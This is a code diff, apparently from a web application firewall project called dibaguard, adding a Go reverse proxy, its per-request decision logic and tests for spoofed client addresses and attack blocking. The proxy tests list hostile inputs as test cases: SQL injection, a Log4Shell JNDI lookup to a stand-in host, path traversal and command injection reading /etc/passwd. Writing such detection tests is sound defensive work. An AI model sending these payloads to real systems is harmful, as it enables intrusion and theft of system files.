+ t.Helper()
52
+ last := ""
53
+ for {
54
+ select {
55
+ case s := <-p.queue:
56
+ last = s.Client
57
+ default:
58
+ return last
59
+ }
60
+ }
61
+ }
62
+
63
+ // the right-to-left trusted walk replaces the leftmost X-Forwarded-For read of -trust-xff
64
+ func TestProxyClientIdentity(t *testing.T) {
65
+ up := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Write([]byte("ok")) }))
66
+ defer up.Close()
67
+ p := newTestProxy(t, up)
68
+ p.trustXFF = false
69
+ p.trusted, _ = dibaguard.ParseTrustedProxies(dibaguard.DefaultTrusted) // loopback only
70
+ p.agg = dibaguard.Aggregation{BlockBits: 64}
71
+ until := float64(time.Now().Add(time.Hour).Unix())
72
+ snap := dibaguard.StateSnapshot{Block: map[string]float64{"203.0.113.9": until, "7.7.7.7": until, "2001:db8:1:2::5": until}}
73
+ p.st.mu.Lock()
74
+ p.st.block, p.st.idx = snap.Block, dibaguard.BuildStateIndex(snap, p.agg)
75
+ p.st.mu.Unlock()
76
+
77
+ call := func(peer string, hdr map[string]string) int {
78
+ req := httptest.NewRequest("GET", "/product/1", nil)
79
+ req.RemoteAddr = peer
80
+ for k, v := range hdr {
81
+ req.Header.Set(k, v)
82
+ }
83
+ w := httptest.NewRecorder()
84
+ p.ServeHTTP(w, req)
85
+ return w.Code
86
+ }
87
+ if c := call("203.0.113.9:5555", map[string]string{"X-Forwarded-For": "1.1.1.1"}); c != 403 {
88
+ t.Errorf("blocked client escaping with X-Forwarded-For: %d", c)
89
+ }
90
+ if c := call("203.0.113.10:5555", map[string]string{"X-Forwarded-For": "7.7.7.7"}); c != 200 {
91
+ t.Errorf("client framing a blocked address: %d", c)
92
+ }
93
+ if cl := lastClient(t, p); cl != "203.0.113.10" {
94
+ t.Errorf("summary client %q", cl)
95
+ }
96
+ if c := call("127.0.0.1:4000", map[string]string{"X-Forwarded-For": "7.7.7.7, 9.9.9.9"}); c != 200 {
97
+ t.Errorf("client-written hop left of the LB's: %d", c)
98
+ }
99
+ if c := call("127.0.0.1:4000", map[string]string{"X-Forwarded-For": "1.1.1.1, 7.7.7.7"}); c != 403 {
100
+ t.Errorf("blocked client through the loopback LB: %d", c)
101
+ }
102
+ // IPv6: the block covers the client's /64 (address rotation), not the next /64
103
+ if c := call("[2001:db8:1:2:aaaa::99]:443", nil); c != 403 {
104
+ t.Errorf("rotated address in a blocked /64: %d", c)
105
+ }
106
+ if c := call("[2001:db8:1:3::99]:443", nil); c != 200 {
107
+ t.Errorf("neighbouring /64: %d", c)
108
+ }
109
+ if c := call("127.0.0.1:4000", map[string]string{"X-Forwarded-For": "2001:db8:1:2::1234"}); c != 403 {
110
+ t.Errorf("IPv6 client of a blocked /64 behind an IPv4 LB: %d", c)
111
+ }
112
+ // Forwarded (RFC 7239) when listed
113
+ p.ipHeaders = []string{"Forwarded", "X-Forwarded-For"}
114
+ if c := call("127.0.0.1:4000", map[string]string{"Forwarded": `for=1.1.1.1, for="7.7.7.7"`}); c != 403 {
115
+ t.Errorf("Forwarded: %d", c)
116
+ }
117
+ // no trusted list and no legacy switch: forwarding headers are ignored
118
+ p.trusted, p.ipHeaders = nil, nil
119
+ if c := call("127.0.0.1:4000", map[string]string{"X-Forwarded-For": "7.7.7.7"}); c != 200 {
120
+ t.Errorf("trust nobody: %d", c)
121
+ }
122
+ }
runtime/go/cmd/dibaguard-proxy/main.go ADDED
@@ -0,0 +1,278 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ // dibaguard-proxy: the fast path. A reverse proxy that scores every request inline with the Go runtime
2
+ // (microseconds), enforces the sidecar's decisions (block / rate-limit / challenge) with no added latency, and
3
+ // streams request summaries to the Python sidecar, where the slow path (entity stream, evidence, re-calibration,
4
+ // reports, LLM bridge) runs. The proxy never blocks on the sidecar: decisions are polled, summaries are sent in
5
+ // batches on a background goroutine, and if the sidecar is down the proxy keeps serving with its last state.
6
+ //
7
+ // dibaguard-proxy -listen :8080 -upstream http://127.0.0.1:3000 -models ./models -sidecar http://127.0.0.1:8787 \
8
+ // -mode enforce -inline-block 1 -challenge-secret <random> [-trusted <LB CIDRs>] [-proxy-protocol]
9
+ //
10
+ // Client identity: forwarding headers (-ip-headers, default X-Forwarded-For) are believed only from -trusted peers
11
+ // (default loopback) and walked right to left past trusted hops; with -proxy-protocol an L4 load balancer's PROXY
12
+ // v1/v2 header gives the address. IPv6 clients are grouped by /64 for sidecar blocks (-ipv6-block-prefix).
13
+ package main
14
+
15
+ import (
16
+ "bytes"
17
+ "encoding/json"
18
+ "flag"
19
+ "fmt"
20
+ "io"
21
+ "log"
22
+ "net"
23
+ "net/http"
24
+ "net/http/httputil"
25
+ "net/url"
26
+ "os"
27
+ "path/filepath"
28
+ "sync"
29
+ "sync/atomic"
30
+ "time"
31
+
32
+ "dibaguard"
33
+ )
34
+
35
+ // state is the sidecar's standing decisions (source -> deadline), refreshed by pollState.
36
+ type state struct {
37
+ mu sync.RWMutex
38
+ block map[string]float64
39
+ challenge map[string]float64
40
+ rateLimit map[string]float64
41
+ idx *dibaguard.StateIndex // CIDR entries and IPv6 networks of the maps (nil: none)
42
+ }
43
+
44
+ // Lookup implements dibaguard.SourceState.
45
+ func (s *state) Lookup(ip string, now float64) string {
46
+ s.mu.RLock()
47
+ defer s.mu.RUnlock()
48
+ return dibaguard.LookupSource(s.block, s.challenge, s.rateLimit, s.idx, ip, now)
49
+ }
50
+
51
+ type bucket = dibaguard.Bucket
52
+
53
+ type limiter struct {
54
+ mu sync.Mutex
55
+ buckets map[string]*bucket
56
+ rate float64
57
+ burst float64
58
+ }
59
+
60
+ // Allow implements dibaguard.RateLimiter.
61
+ func (l *limiter) Allow(ip string) bool {
62
+ l.mu.Lock()
63
+ defer l.mu.Unlock()
64
+ b := l.buckets[ip]
65
+ now := time.Now()
66
+ if b == nil {
67
+ b = dibaguard.NewBucket(l.burst, now)
68
+ l.buckets[ip] = b
69
+ }
70
+ return b.Take(now, l.rate, l.burst)
71
+ }
72
+
73
+ type summary = dibaguard.Summary
74
+
75
+ type proxy struct {
76
+ rp *httputil.ReverseProxy
77
+ model *dibaguard.HTTPModel2
78
+ thr float64
79
+ st *state
80
+ lim *limiter
81
+ sidecar string
82
+ mode string
83
+ inline bool
84
+ secret []byte
85
+ queue chan summary
86
+ served atomic.Int64
87
+ blocked atomic.Int64
88
+ challenged atomic.Int64
89
+ flagged atomic.Int64
90
+ trusted dibaguard.TrustedProxies // peers whose forwarding headers are believed
91
+ ipHeaders []string // client-address headers read from them (nil: X-Forwarded-For)
92
+ trustXFF bool // with no trusted list: every peer is trusted (only for a proxy no client reaches directly)
93
+ agg dibaguard.Aggregation // IPv6 grouping of blocks / rate limits
94
+ }
95
+
96
+ // clientIP identifies the client: forwarding headers are believed only from trusted peers and walked right to
97
+ // left past trusted hops, so a client cannot write its own address (the old leftmost-X-Forwarded-For read let any
98
+ // client escape a block or frame another address).
99
+ func (p *proxy) clientIP(r *http.Request) string {
100
+ tp := p.trusted
101
+ if tp == nil && p.trustXFF {
102
+ tp = dibaguard.TrustAll
103
+ }
104
+ hdrs := p.ipHeaders
105
+ if hdrs == nil {
106
+ hdrs = []string{"X-Forwarded-For"}
107
+ }
108
+ return tp.ClientIP(r.RemoteAddr, r.Header, hdrs)
109
+ }
110
+
111
+ // decider is the shared per-request decision (dibaguard.Decider) over this proxy's model, state and limiter.
112
+ func (p *proxy) decider() dibaguard.Decider {
113
+ return dibaguard.Decider{Model: p.model, Threshold: p.thr, Inline: p.inline, State: p.st, Limiter: p.lim, Secret: p.secret, Agg: p.agg}
114
+ }
115
+
116
+ func (p *proxy) serveChallenge(w http.ResponseWriter, ip string) {
117
+ dibaguard.ServeChallenge(w, dibaguard.ChallengeToken(p.secret, ip, time.Now()))
118
+ }
119
+
120
+ func (p *proxy) ServeHTTP(w http.ResponseWriter, r *http.Request) {
121
+ p.served.Add(1)
122
+ ip := p.clientIP(r)
123
+ t := time.Now()
124
+ now := float64(t.UnixNano()) / 1e9
125
+ d := p.decider()
126
+ enforce := p.mode == "enforce"
127
+ // the sidecar's standing decision for this source (report mode only reports it: nothing is refused)
128
+ if v := d.Source(ip, r.Header, t); enforce {
129
+ switch v.Action {
130
+ case dibaguard.ActionBlock:
131
+ p.blocked.Add(1)
132
+ http.Error(w, "forbidden", http.StatusForbidden)
133
+ return
134
+ case dibaguard.ActionChallenge:
135
+ p.challenged.Add(1)
136
+ p.serveChallenge(w, ip)
137
+ return
138
+ case dibaguard.ActionRateLimit:
139
+ http.Error(w, "slow down", http.StatusTooManyRequests)
140
+ return
141
+ }
142
+ }
143
+ var body []byte
144
+ if r.Body != nil && r.ContentLength != 0 {
145
+ body, _ = io.ReadAll(io.LimitReader(r.Body, 1<<20))
146
+ r.Body = io.NopCloser(bytes.NewReader(body))
147
+ }
148
+ v := d.Inspect(dibaguard.Request{Method: r.Method, URL: r.URL, Header: r.Header, Body: body, ClientIP: ip}, t)
149
+ if v.Flagged {
150
+ p.flagged.Add(1)
151
+ w.Header().Set("X-DibaGuard", "flagged")
152
+ if enforce {
153
+ switch v.Action {
154
+ case dibaguard.ActionBlock: // a payload signature is self-evident: refuse it inline
155
+ http.Error(w, "forbidden", http.StatusForbidden)
156
+ select {
157
+ case p.queue <- summary{Text: v.Text, Deepest: v.Deepest, Client: ip, Host: r.Host, Status: 403, T: now}:
158
+ default:
159
+ }
160
+ return
161
+ case dibaguard.ActionChallenge: // first contact with a sensitive-file probe / a very unusual request
162
+ p.challenged.Add(1)
163
+ p.serveChallenge(w, ip)
164
+ return
165
+ }
166
+ }
167
+ }
168
+ rec := &statusRecorder{ResponseWriter: w, status: 200}
169
+ p.rp.ServeHTTP(rec, r)
170
+ select {
171
+ case p.queue <- summary{Text: v.Text, Deepest: v.Deepest, Client: ip, Host: r.Host, Status: rec.status, T: now}:
172
+ default: // the slow path is behind: drop the summary rather than the request
173
+ }
174
+ }
175
+
176
+ type statusRecorder struct {
177
+ http.ResponseWriter
178
+ status int
179
+ }
180
+
181
+ func (s *statusRecorder) WriteHeader(code int) {
182
+ s.status = code
183
+ s.ResponseWriter.WriteHeader(code)
184
+ }
185
+
186
+ func (p *proxy) pollState(every time.Duration) {
187
+ cl := &http.Client{Timeout: 2 * time.Second}
188
+ for {
189
+ if st, err := dibaguard.FetchFastState(cl, p.sidecar); err == nil {
190
+ idx := dibaguard.BuildStateIndex(st, p.agg)
191
+ p.st.mu.Lock()
192
+ p.st.block, p.st.challenge, p.st.rateLimit, p.st.idx = st.Block, st.Challenge, st.RateLimit, idx
193
+ p.st.mu.Unlock()
194
+ }
195
+ time.Sleep(every)
196
+ }
197
+ }
198
+
199
+ func (p *proxy) pushSummaries(batch int, every time.Duration) {
200
+ dibaguard.PushSummaries(p.sidecar, p.queue, batch, every)
201
+ }
202
+
203
+ func newReverseProxy(u *url.URL) *httputil.ReverseProxy {
204
+ return httputil.NewSingleHostReverseProxy(u)
205
+ }
206
+
207
+ func main() {
208
+ listen := flag.String("listen", ":8080", "address to serve")
209
+ upstream := flag.String("upstream", "http://127.0.0.1:3000", "where requests go")
210
+ models := flag.String("models", "models", "model directory (http_v2/http_tier1_v2.bin)")
211
+ sidecar := flag.String("sidecar", "http://127.0.0.1:8787", "python sidecar (dibaguard.llm http)")
212
+ mode := flag.String("mode", "report", "report | enforce")
213
+ inline := flag.Bool("inline-block", true, "block inline on hard signatures and very high scores (enforce mode)")
214
+ secret := flag.String("challenge-secret", "", "HMAC secret for the JS challenge cookie (random if empty)")
215
+ trusted := flag.String("trusted", dibaguard.DefaultTrusted, "CIDRs of the load balancers whose forwarding headers (and PROXY headers) are believed")
216
+ ipHeaders := flag.String("ip-headers", dibaguard.DefaultIPHeaders, "client-address headers read from trusted peers, first present wins "+
217
+ "(X-Forwarded-For, Forwarded, X-Real-IP); list only headers your load balancer overwrites")
218
+ proxyProto := flag.Bool("proxy-protocol", false, "connections start with a PROXY v1/v2 header from a -trusted peer (HAProxy send-proxy, AWS NLB); others are refused")
219
+ v6Block := flag.Int("ipv6-block-prefix", 64, "a sidecar block on an IPv6 address covers its /N (128 = the address only)")
220
+ v6Rate := flag.Int("ipv6-ratelimit-prefix", 128, "rate-limit entries and token buckets per IPv6 /N (64 = per /64)")
221
+ trustXFF := flag.Bool("trust-xff", false, "removed: it believed X-Forwarded-For from anyone; use -trusted")
222
+ rate := flag.Float64("rate", 5, "requests per second allowed to a rate-limited client")
223
+ feedToken := flag.String("feed-token", os.Getenv("DIBAGUARD_FEED_TOKEN"), "credential of the sidecar's feeds (X-DibaGuard-Feed-Token on every push; $DIBAGUARD_FEED_TOKEN by default, the sidecar's own setting)")
224
+ flag.Parse()
225
+ dibaguard.FeedToken = *feedToken
226
+ set := map[string]bool{}
227
+ flag.Visit(func(f *flag.Flag) { set[f.Name] = true })
228
+ if *trustXFF && !set["trusted"] {
229
+ log.Fatal("-trust-xff believed X-Forwarded-For from any client (a client could escape a block or frame another address); " +
230
+ "set -trusted to your load balancers' CIDRs instead (loopback is trusted by default)")
231
+ }
232
+ tp, err := dibaguard.ParseTrustedProxies(*trusted)
233
+ if err != nil {
234
+ log.Fatal(err)
235
+ }
236
+ if *v6Block < 0 || *v6Block > 128 || *v6Rate < 0 || *v6Rate > 128 {
237
+ log.Fatal("-ipv6-block-prefix / -ipv6-ratelimit-prefix must be 0..128")
238
+ }
239
+ agg := dibaguard.Aggregation{BlockBits: *v6Block, RateBits: *v6Rate}
240
+ u, err := url.Parse(*upstream)
241
+ if err != nil {
242
+ log.Fatal(err)
243
+ }
244
+ m, err := dibaguard.LoadHTTP2(filepath.Join(*models, "http_v2", "http_tier1_v2.bin"))
245
+ if err != nil {
246
+ log.Fatal("model: ", err)
247
+ }
248
+ thr := 5.0
249
+ if t, ok := m.Info["thresholds"].(map[string]any); ok {
250
+ if v, ok := t["0.001"].(float64); ok {
251
+ thr = v
252
+ }
253
+ }
254
+ sec := []byte(*secret)
255
+ if len(sec) == 0 {
256
+ sec = []byte(fmt.Sprintf("%d-%d", time.Now().UnixNano(), os.Getpid()))
257
+ }
258
+ p := &proxy{rp: newReverseProxy(u), model: m, thr: thr, st: &state{block: map[string]float64{}, challenge: map[string]float64{}, rateLimit: map[string]float64{}},
259
+ lim: &limiter{buckets: map[string]*bucket{}, rate: *rate, burst: 2 * *rate}, sidecar: *sidecar, mode: *mode, inline: *inline, secret: sec,
260
+ queue: make(chan summary, 10000), trusted: tp, ipHeaders: dibaguard.SplitHeaderList(*ipHeaders), agg: agg}
261
+ go p.pollState(2 * time.Second)
262
+ go p.pushSummaries(256, 2*time.Second)
263
+ http.HandleFunc("/_dibaguard/health", func(w http.ResponseWriter, r *http.Request) {
264
+ json.NewEncoder(w).Encode(map[string]any{"served": p.served.Load(), "blocked": p.blocked.Load(), "challenged": p.challenged.Load(),
265
+ "flagged": p.flagged.Load(), "mode": p.mode, "threshold": p.thr})
266
+ })
267
+ http.Handle("/", p)
268
+ ln, err := net.Listen("tcp", *listen)
269
+ if err != nil {
270
+ log.Fatal(err)
271
+ }
272
+ if *proxyProto {
273
+ ln = &dibaguard.ProxyProtoListener{Listener: ln, Trusted: tp}
274
+ }
275
+ log.Printf("dibaguard-proxy %s -> %s (mode %s, threshold %.2f, trusted %s, ip headers %s, proxy-protocol %v, ipv6 block /%d rate /%d)",
276
+ *listen, *upstream, *mode, thr, *trusted, *ipHeaders, *proxyProto, *v6Block, *v6Rate)
277
+ log.Fatal(http.Serve(ln, nil))
278
+ }
runtime/go/cmd/dibaguard-proxy/main_test.go ADDED
@@ -0,0 +1,74 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ package main
2
+
3
+ import (
4
+ "net/http"
5
+ "net/http/httptest"
6
+ "net/url"
7
+ "path/filepath"
8
+ "strings"
9
+ "testing"
10
+ "time"
11
+
12
+ "dibaguard"
13
+ )
14
+
15
+ func newTestProxy(t *testing.T, upstream *httptest.Server) *proxy {
16
+ t.Helper()
17
+ m, err := dibaguard.LoadHTTP2(filepath.Join("..", "..", "testdata", "http2_model.bin"))
18
+ if err != nil {
19
+ t.Skip("no http2 fixture model:", err)
20
+ }
21
+ u, _ := url.Parse(upstream.URL)
22
+ return &proxy{rp: newReverseProxy(u), model: m, thr: 1e9, st: &state{block: map[string]float64{}, challenge: map[string]float64{}, rateLimit: map[string]float64{}},
23
+ lim: &limiter{buckets: map[string]*bucket{}, rate: 5, burst: 10}, mode: "enforce", inline: true, secret: []byte("k"),
24
+ queue: make(chan summary, 1000), trustXFF: true}
25
+ }
26
+
27
+ func do(p *proxy, method, target, ip string, hdr map[string]string) *httptest.ResponseRecorder {
28
+ req := httptest.NewRequest(method, target, nil)
29
+ req.Header.Set("X-Forwarded-For", ip)
30
+ req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0) Chrome/121")
31
+ for k, v := range hdr {
32
+ req.Header.Set(k, v)
33
+ }
34
+ w := httptest.NewRecorder()
35
+ p.ServeHTTP(w, req)
36
+ return w
37
+ }
38
+
39
+ func TestProxyFastPath(t *testing.T) {
40
+ up := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Write([]byte("ok")) }))
41
+ defer up.Close()
42
+ p := newTestProxy(t, up)
43
+ cases := []struct {
44
+ name, target, ip string
45
+ hdr map[string]string
46
+ want int
47
+ }{
48
+ {"benign", "/product/42?page=2", "1.1.1.1", nil, 200},
49
+ {"persian benign", "/search?q=" + url.QueryEscape("\u06a9\u062a\u0627\u0628 \u0641\u0627\u0631\u0633\u06cc"), "1.1.1.1", nil, 200},
50
+ {"sqli inline", "/items?id=" + url.QueryEscape("1' or 1=1-- -"), "2.2.2.2", nil, 403},
51
+ {"log4shell inline", "/", "3.3.3.3", map[string]string{"X-Api-Version": "${jndi:ldap://evil/a}"}, 403},
52
+ {"traversal inline", "/download?f=" + url.QueryEscape("../../../../etc/passwd"), "4.4.4.4", nil, 403},
53
+ {"command injection inline", "/ping?host=" + url.QueryEscape("127.0.0.1;cat /etc/passwd"), "5.5.5.5", nil, 403},
54
+ {"sensitive file probe -> challenge", "/.git/config", "6.6.6.6", nil, http.StatusTooManyRequests},
55
+ }
56
+ for _, c := range cases {
57
+ w := do(p, "GET", c.target, c.ip, c.hdr)
58
+ if w.Code != c.want {
59
+ t.Errorf("%s: got %d want %d (body %q)", c.name, w.Code, c.want, strings.TrimSpace(w.Body.String()))
60
+ }
61
+ }
62
+ // a source the sidecar decided to block is refused at the edge, whatever it sends
63
+ p.st.mu.Lock()
64
+ p.st.block["7.7.7.7"] = float64(time.Now().Add(time.Hour).Unix())
65
+ p.st.mu.Unlock()
66
+ if w := do(p, "GET", "/product/1", "7.7.7.7", nil); w.Code != 403 {
67
+ t.Errorf("sidecar-blocked source: got %d want 403", w.Code)
68
+ }
69
+ // report mode never refuses anything (it only flags)
70
+ p.mode = "report"
71
+ if w := do(p, "GET", "/items?id="+url.QueryEscape("1' or 1=1-- -"), "8.8.8.8", nil); w.Code != 200 || w.Header().Get("X-DibaGuard") != "flagged" {
72
+ t.Errorf("report mode: got %d flagged=%q", w.Code, w.Header().Get("X-DibaGuard"))
73
+ }
74
+ }
runtime/go/decide.go ADDED
@@ -0,0 +1,289 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ package dibaguard
2
+
3
+ import (
4
+ "crypto/hmac"
5
+ "crypto/sha256"
6
+ "encoding/hex"
7
+ "encoding/json"
8
+ "fmt"
9
+ "net/http"
10
+ "net/url"
11
+ "strings"
12
+ "sync"
13
+ "time"
14
+ )
15
+
16
+ // The per-request decision of the HTTP fast path, shared by every transport: the inline reverse proxy
17
+ // (cmd/dibaguard-proxy) and the external-authorization service for load balancers (cmd/dibaguard-authz).
18
+ //
19
+ // A decision has two phases. Source applies the sidecar's standing decision for the client (block / challenge /
20
+ // rate_limit with deadlines, polled from guard_fast_state); it needs no body and no scoring, so an enforcing
21
+ // transport can refuse a known-bad source before reading anything. Inspect scores the request itself: the
22
+ // canonical text, the payload signatures (MatchSigs) and the site-conditioned HTTP model. Decide runs both.
23
+ //
24
+ // A Verdict is always the enforce-mode verdict ("what enforcing would do"); report mode is the transport's
25
+ // business (it never refuses, it only reports the verdict).
26
+
27
+ // Verdict actions.
28
+ const (
29
+ ActionAllow = "allow"
30
+ ActionBlock = "block"
31
+ ActionChallenge = "challenge"
32
+ ActionRateLimit = "rate_limit"
33
+ )
34
+
35
+ // Verdict is the outcome of one decision.
36
+ type Verdict struct {
37
+ Action string // allow | block | challenge | rate_limit
38
+ Reason string // sidecar:<action> | sig:<id> | model | fail_open:<cause> | fail_closed:<cause> | "" (clean)
39
+ SigIDs []string // every signature the request hit, most specific first
40
+ Score float64 // HTTP model attack logit (valid when Scored)
41
+ Scored bool // the model scored the request (false: no model, or decided on the source alone)
42
+ Flagged bool // a signature hit or the model score is over the threshold
43
+ Text string // canonical request text (what the sidecar is sent); empty when decided on the source alone
44
+ Deepest int // percent-decoding rounds the canonical text needed
45
+ }
46
+
47
+ // Request is the original client request as a decision sees it.
48
+ type Request struct {
49
+ Method string
50
+ URL *url.URL
51
+ Header http.Header
52
+ Body []byte // prefix of the body, if the transport has it (nil otherwise)
53
+ ClientIP string
54
+ }
55
+
56
+ // SourceState is the sidecar's standing decisions: Lookup returns block | challenge | rate_limit | allow for a
57
+ // client at unix time now (seconds).
58
+ type SourceState interface {
59
+ Lookup(ip string, now float64) string
60
+ }
61
+
62
+ // RateLimiter is the per-source token bucket applied to rate-limited sources.
63
+ type RateLimiter interface {
64
+ Allow(ip string) bool
65
+ }
66
+
67
+ // Decider holds what a decision needs. Every field may be shared by concurrent requests.
68
+ type Decider struct {
69
+ Model *HTTPModel2 // nil: model unavailable (source state and signatures still apply)
70
+ Threshold float64 // attack-logit threshold: flagged above it, challenged above Threshold+3
71
+ Inline bool // refuse on content (hard signatures, very unusual requests); false: content only flags
72
+ State SourceState // nil: no sidecar state
73
+ Limiter RateLimiter // nil: rate-limited sources are not throttled
74
+ Secret []byte // HMAC secret of the JS challenge cookie
75
+ Agg Aggregation // IPv6 grouping of the token buckets (the state's own grouping is in its StateIndex)
76
+ }
77
+
78
+ // Source applies the sidecar's standing decision for the client: block, challenge (unless the client carries a
79
+ // valid challenge cookie), rate_limit (when its token bucket is empty), else allow.
80
+ func (d *Decider) Source(ip string, hdr http.Header, now time.Time) Verdict {
81
+ v := Verdict{Action: ActionAllow}
82
+ if d.State == nil {
83
+ return v
84
+ }
85
+ switch d.State.Lookup(ip, float64(now.UnixNano())/1e9) {
86
+ case ActionBlock:
87
+ v.Action, v.Reason = ActionBlock, "sidecar:block"
88
+ case ActionChallenge:
89
+ if !PassedChallenge(d.Secret, hdr, ip, now) {
90
+ v.Action, v.Reason = ActionChallenge, "sidecar:challenge"
91
+ }
92
+ case ActionRateLimit:
93
+ if d.Limiter != nil && !d.Limiter.Allow(d.Agg.RateKey(ip)) {
94
+ v.Action, v.Reason = ActionRateLimit, "sidecar:rate_limit"
95
+ }
96
+ }
97
+ return v
98
+ }
99
+
100
+ // Inspect scores the request content. A request a block-action signature hits (SQLi, RCE, traversal, XSS, ...) is
101
+ // blocked; a probe for sensitive files (challenge-action signature) or a request the model finds very unusual
102
+ // (score > Threshold+3) is challenged unless the client passed the challenge; anything else is allowed, flagged
103
+ // when a signature hit or the score is over the threshold. With Inline false nothing is refused on content.
104
+ func (d *Decider) Inspect(req Request, now time.Time) Verdict {
105
+ text, deepest := Canonical(req.Method, req.URL, req.Header, req.Body)
106
+ // request signatures: ~1.6 us on benign traffic thanks to the trigger prefilter; parity-tested against the
107
+ // Python playbook. Then the SQL-context tier for requests no signature named (gate-passing values only).
108
+ ids, sigAction := MatchSigs(text)
109
+ if len(ids) == 0 {
110
+ // the SQL-context tier (A22), inline: a parameter that breaks out of a query context into an attack's shape is
111
+ // as self-evident as a signature (V-09: ' or 1 in (1,2)-- - used to reach the application first)
112
+ if h := SQLContext(text); h != nil {
113
+ ids, sigAction = []string{"A22"}, ActionBlock
114
+ }
115
+ }
116
+ v := Verdict{Action: ActionAllow, SigIDs: ids, Text: text, Deepest: deepest}
117
+ if d.Model != nil {
118
+ v.Score, v.Scored = float64(d.Model.Logits(text, deepest, nil)[0]), true
119
+ }
120
+ modelHit := v.Scored && v.Score > d.Threshold
121
+ v.Flagged = len(ids) > 0 || modelHit
122
+ switch {
123
+ case len(ids) > 0:
124
+ v.Reason = "sig:" + ids[0]
125
+ case modelHit:
126
+ v.Reason = "model"
127
+ }
128
+ if !v.Flagged || !d.Inline {
129
+ return v
130
+ }
131
+ switch {
132
+ case sigAction == ActionBlock: // a payload signature is self-evident: refuse it inline
133
+ v.Action = ActionBlock
134
+ case (sigAction == ActionChallenge || v.Scored && v.Score > d.Threshold+3) && !PassedChallenge(d.Secret, req.Header, req.ClientIP, now):
135
+ // a probe for sensitive files, or a request the model finds very unusual: first contact is challenged,
136
+ // never hard-blocked (a browser passes, a bot does not); the sidecar escalates on behaviour
137
+ v.Action = ActionChallenge
138
+ }
139
+ return v
140
+ }
141
+
142
+ // Decide is Source, then Inspect when the source itself is allowed.
143
+ func (d *Decider) Decide(req Request, now time.Time) Verdict {
144
+ if v := d.Source(req.ClientIP, req.Header, now); v.Action != ActionAllow {
145
+ return v
146
+ }
147
+ return d.Inspect(req, now)
148
+ }
149
+
150
+ // SourceAction is the standing decision for ip at unix time now in the sidecar's fast-state maps (ip -> deadline):
151
+ // block outranks challenge outranks rate_limit; an expired deadline is allow.
152
+ func SourceAction(block, challenge, rateLimit map[string]float64, ip string, now float64) string {
153
+ if until, ok := block[ip]; ok && until > now {
154
+ return ActionBlock
155
+ }
156
+ if until, ok := challenge[ip]; ok && until > now {
157
+ return ActionChallenge
158
+ }
159
+ if until, ok := rateLimit[ip]; ok && until > now {
160
+ return ActionRateLimit
161
+ }
162
+ return ActionAllow
163
+ }
164
+
165
+ func ishex(c byte) bool { return '0' <= c && c <= '9' || 'a' <= c && c <= 'f' || 'A' <= c && c <= 'F' }
166
+
167
+ func unhex(c byte) byte {
168
+ switch {
169
+ case c <= '9':
170
+ return c - '0'
171
+ case c <= 'F':
172
+ return c - 'A' + 10
173
+ default:
174
+ return c - 'a' + 10
175
+ }
176
+ }
177
+
178
+ // Canonical is dibaguard.http.parse.Request.model_text for this request (parse.go, canon.go): the same text and the
179
+ // same deepest-layer count as the Python edge, so the fast path's signatures, its inline SQL-context tier and the
180
+ // sidecar it reports to all judge what the Python edge judges (V-08). Nothing is dropped from judgement silently:
181
+ // duplicate JSON keys, every multipart field, every value of a repeated header, every field and the whole of a value
182
+ // are in the text while the judging budget lasts, and the rest is counted in an "x:oversized" part (V-05..V-07).
183
+ func Canonical(method string, u *url.URL, hdr http.Header, body []byte) (string, int) {
184
+ return newPyRequest(method, u, hdr, body).modelText()
185
+ }
186
+
187
+ // ChallengeCookie is the cookie a client that ran the JS challenge carries.
188
+ const ChallengeCookie = "dg_ch"
189
+
190
+ // ChallengeToken is the challenge cookie value for ip: an HMAC of the address and the UTC day.
191
+ func ChallengeToken(secret []byte, ip string, now time.Time) string {
192
+ m := hmac.New(sha256.New, secret)
193
+ m.Write([]byte(ip + "/" + now.UTC().Format("2006-01-02")))
194
+ return hex.EncodeToString(m.Sum(nil))[:32]
195
